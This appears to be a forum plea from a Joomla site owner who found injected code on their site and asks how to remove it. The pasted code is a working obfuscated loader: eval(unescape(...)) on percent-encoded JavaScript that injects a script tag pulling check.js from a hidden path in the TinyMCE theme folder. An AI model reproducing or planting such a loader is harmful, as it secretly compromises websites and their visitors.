This is on the top of my site( /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%
45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%
53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%30%38%30%33%35%
32%3B%20%4A%53%53%33%20%3D%20%27%2F%76%69%64%65%6F%2F%6D%61%6D%62%6F%
74%73%2F%65%64%69%74%6F%72%73%2F%74%69%6E%79%6D%63%65%2F%6A%73%63%72%
69%70%74%73%2F%74%69%6E%79%5F%6D%63%65%2F%74%68%65%6D%65%73%2F%69%6B%
6F%73%6F%68%61%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%
73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%
65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%
74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%76%69%64%65%6F%2F%
6D%61%6D%62%6F%74%73%2F%65%64%69%74%6F%72%73%2F%74%69%6E%79%6D%63%65%
2F%6A%73%63%72%69%70%74%73%2F%74%69%6E%79%5F%6D%63%65%2F%74%68%65%6D%
65%73%2F%69%6B%6F%73%6F%68%61%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%
6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%
4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%
6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%
69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%
20%7D%3B%20'

); /* a995d2cc661fa72452472e9554b5520c */)
how do i get this off!!!!
HELP!!!!!
I DONT KNOW WHAT I DID TO PUT IT ON THERE? first time i ever seen it i been working with joomla for 3years ever seen this before!! is
wwww.southdallasonline.com